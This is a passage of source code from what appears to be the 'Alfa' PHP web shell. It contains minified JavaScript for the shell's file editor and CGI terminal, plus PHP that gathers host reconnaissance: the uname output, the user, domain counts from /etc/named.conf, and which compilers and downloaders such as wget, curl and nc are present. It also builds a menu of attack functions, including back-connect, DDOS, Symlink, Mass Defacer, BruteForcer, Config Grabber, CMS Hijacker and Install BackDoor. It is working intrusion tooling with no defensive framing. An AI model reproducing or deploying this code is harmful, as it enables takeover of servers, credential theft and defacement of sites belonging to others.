o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick=\'editorTabController(this);\' opt_id=\'"+b+"\' id=\'tab_"+b+"\' class=\'editor-tab-name editor-tab-active\'>"+decodeURIComponent(e)+" <img opt_id=\'"+b+"\' onclick=\'closeEditorContent(this,event);return false;\' title=\'[close]\' src=\'http://solevisible.com/icons/menu/delete.svg\'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class=\'editor-contents editor-content-active\' id=\'"+b+"\'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id=\'"+e+"\' class=\'history\' onClick=\'reopen(this);\'><div class=\'editor-icon\'>"+loadType(a,i,e)+"</div><div class=\'editor-file-name\'>"+a+"</div></div><div class=\'history-close\' onClick=\'removeHistory(\""+e+"\");\'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class=\'editor-icon\'>"+loadType(editor_files[t].file,e,t)+"</div><div class=\'editor-file-name\'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return\'<img src="http://solevisible.com/icons/{type}" width="30" height="30">\'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor(\'"+a+"\',\'auto\',\'\',\'\',\'\',\'file\')"),$(r).setAttribute("onclick","editor(\'"+a+"\',\'edit\',\'\',\'\',\'\',\'"+s+"\')"),$(n).setAttribute("onclick","g(\'FilesTools\',null,\'"+a+"\', \'download\')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g(\'FilesMan\', \'"+c_+"/"+a+"\')")),$(i).setAttribute("onclick","editor(\'"+a+"\',\'chmod\',\'\',\'\',\'\',\'"+s+"\')"),$(l).setAttribute("onclick","editor(\'"+a+"\',\'rename\',\'\',\'\',\'\',\'"+s+"\')"),$(o).setAttribute("onclick","editor(\'"+a+"\',\'touch\',\'\',\'\',\'\',\'"+s+"\')"),$(d).setAttribute("onclick","var chk = confirm(\'Are You Sure For Delete # "+a+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+a+"\') : \'\';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __ALFA_SECRET_KEY__; ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php echo"<form style=\'display:none;\' id=\'dlForm\' action=\'\' target=\'_blank\' method=\'post\'>
<input type=\'hidden\' name=\'a\' value=\'dlfile\'>
<input type=\'hidden\' name=\'c\' value=\'\'>
<input type=\'hidden\' name=\'file\' value=\'\'>
</form>
<input type=\'file\' style=\'display:none;\' id=\'importFileBtn\' onchange=\'importConfig(event);\'>
<div id=\'a_loader\'><img src=\'".__showicon(\'loader\')."\'></div>";
$cmd_uname = alfaEx("uname -a",false,false);
$uname = function_exists(\'php_uname\') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:\'( php_uname ) Function Disabled !\');
if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
echo \'
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="\'.$GLOBALS[\'cwd\'].\'">\';
for($s=1;$s<=10;$s++){
echo \'<input type="hidden" name="alfa\'.$s.\'">\';
}
echo \'<input type="hidden" name="charset">
</form>
<div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">\'.__ALFA_CODE_NAME__.\'</span><br><small>Version: <span class="hidden_shell_version">\'.__ALFA_VERSION__.\'</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">\'.$uname.\'</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">\'. $uid . \' [ \' . $user . \' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">\' . $gid . \' [ \' . $group . \' ]</span> </td>
<td width="12%" rowspan="8"></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>\'.@phpversion(). \' </b><span class="header_vars"> Safe Mode: \'.$safe_modes.\'</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>\'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER[\'SERVER_NAME\']):\'????\'):@$_SERVER["SERVER_ADDR"]).\'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> \'.@$_SERVER["REMOTE_ADDR"].\'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>\'.date(\'Y-m-d H:i:s\').\'</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">\';
if($GLOBALS[\'sys\']==\'unix\'){
$d0mains = _alfa_file("/etc/named.conf",false);
if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{
$count=0;
foreach($d0mains as $d0main){
if(@strstr($d0main,"zone")){
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;}}}
echo "$count Domains";}}
else{echo("Cant Read [ /etc/named.conf ]");}
echo \'</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>\'.alfaSize($totalSpace).\' </b><span class="header_vars">Free:</span><b>\' . alfaSize($freeSpace) . \' [\'. (int) ($freeSpace/$totalSpace*100) . \'%]</b></td>
</tr>\';
if($GLOBALS[\'sys\']==\'unix\'){
$useful_downloader = \'<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>\';
if(!@ini_get(\'safe_mode\')){
if(strlen(alfaEx("id",false,false))>0){
echo \'<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>\';
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzialfa2\',\'nc\',\'locate\',\'suidperl\');
$x=0;
foreach($userful as $item)if(alfaWhich($item)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item.\'</span>\';}
if($x==0){echo "<span class=\'header_values\' id=\'header_useful\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo \'</td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span>\';
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
$x=0;
foreach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item2.\'</span>\';}
if($x==0){echo "<span class=\'header_values\' id=\'header_downloader\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo \'</td>
</tr>\';
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo \'<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>\';
echo alfaEx(\'ver\',false,false);
echo \'</td>
</tr> <tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>
</tr></b>\';
}
$quotes = (function_exists(\'get_magic_quotes_gpc\')?get_magic_quotes_gpc():\'0\');if ($quotes == "1" or $quotes == "on"){$magic = \'<b><span class="header_on">ON</span>\';}else{$magic = \'<span class="header_off">OFF</span>\';}
echo \'<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>\'.Alfa_GetDisable_Function().\'</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>\'.$curl.\' | <span class="header_vars">SSH2 : </span>\'.$ssh2.\' | <span class="header_vars">Magic Quotes : </span>\'.$magic.\' | <span class="header_vars"> MySQL :</span>\'.$mysql.\' | <span class="header_vars">MSSQL :</span>\'.$mssql.\' | <span class="header_vars"> PostgreSQL :</span>\'.$pg.\' | <span class="header_vars"> Oracle :</span>\'.$or.\' \'.($GLOBALS[\'sys\']=="unix"?\'| <span class="header_vars"> CGI :</span> \'.$cgi_shell:"").\'</td><td width="15%"><div id="alfa_solevisible"><center><a href="" target="_blank"><span><font class="solevisible-text" color="#0F0"></font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>\'.$open_b.\'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>\'.$safe_exe.\'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>\'.$safe_include.\'</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>\'.@getenv(\'SERVER_SOFTWARE\').\'</b></td>
</tr>\';
if($GLOBALS[\'sys\']=="win"){
echo \'<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>\'.$drives.\'</b></td>
</tr>\';
}
echo \'<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">\'.$cwd_links.\' </span><a href="#action=fileman&path=\'.$GLOBALS[\'home_cwd\'].\'" onclick="g(\'FilesMan\',\'\' . $GLOBALS[\'home_cwd\'] . \'\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
\';
$li = array(\'proc\'=>\'Process\',\'phpeval\'=>\'Eval\',\'sql\'=>\'SQL Manager\',\'dumper\'=>\'Database Dumper\',\'coldumper\'=>\'Column Dumper\',\'hash\'=>\'En-Decoder\',\'connect\'=>\'BC\',
\'zoneh\'=>\'ZONE-H\',\'dos\'=>\'DDOS\',\'safe\'=>\'ByPasser\',\'cgishell\'=>\'Cgi Shell\',\'ssiShell\'=>\'SSI SHELL\',\'cpcrack\'=>\'Hash Tools\',
\'portscanner\'=>\'Port Scaner\',\'basedir\'=>\'Open BaseDir\',\'mail\'=>\'Fake Mail\',\'ziper\'=>\'Compressor\',\'deziper\'=>\'DeCompressor\',\'IndexChanger\'=>\'Index Changer\',\'pwchanger\'=>\'Add New Admin\',\'ShellInjectors\'=>\'Shell Injectors\',
\'php2xml\'=>\'PHP2XML\',\'cloudflare\'=>\'CloudFlare\',\'Whmcs\'=>\'Whmcs DeCoder\',\'symlink\'=>\'Symlink\',\'MassDefacer\'=>\'Mass Defacer\',\'Crackers\'=>\'BruteForcer\',\'searcher\'=>\'Searcher\',\'config_grabber\'=>\'Config Grabber\',\'fakepage\'=>\'Fake Page\',\'archive_manager\'=>\'Archive Manager\',
\'cmshijacker\'=>\'CMS Hijacker\',\'remotedl\'=>\'Remote Upload\',\'inbackdoor\'=>\'Install BackDoor\',\'whois\'=>\'Whois\',\'selfrm\'=>\'Remove Shell\'
);
foreach($li as $key=>$value){
echo(\'<li><a id="menu_opt_\'.$key.\'" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=\'.$key.\'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=\'.$key.\'\';g(\'\'.$key.\'\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">\'.$value.\'</a></li>\'."
");
}
echo \'</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=aboutus" class="menu_options" 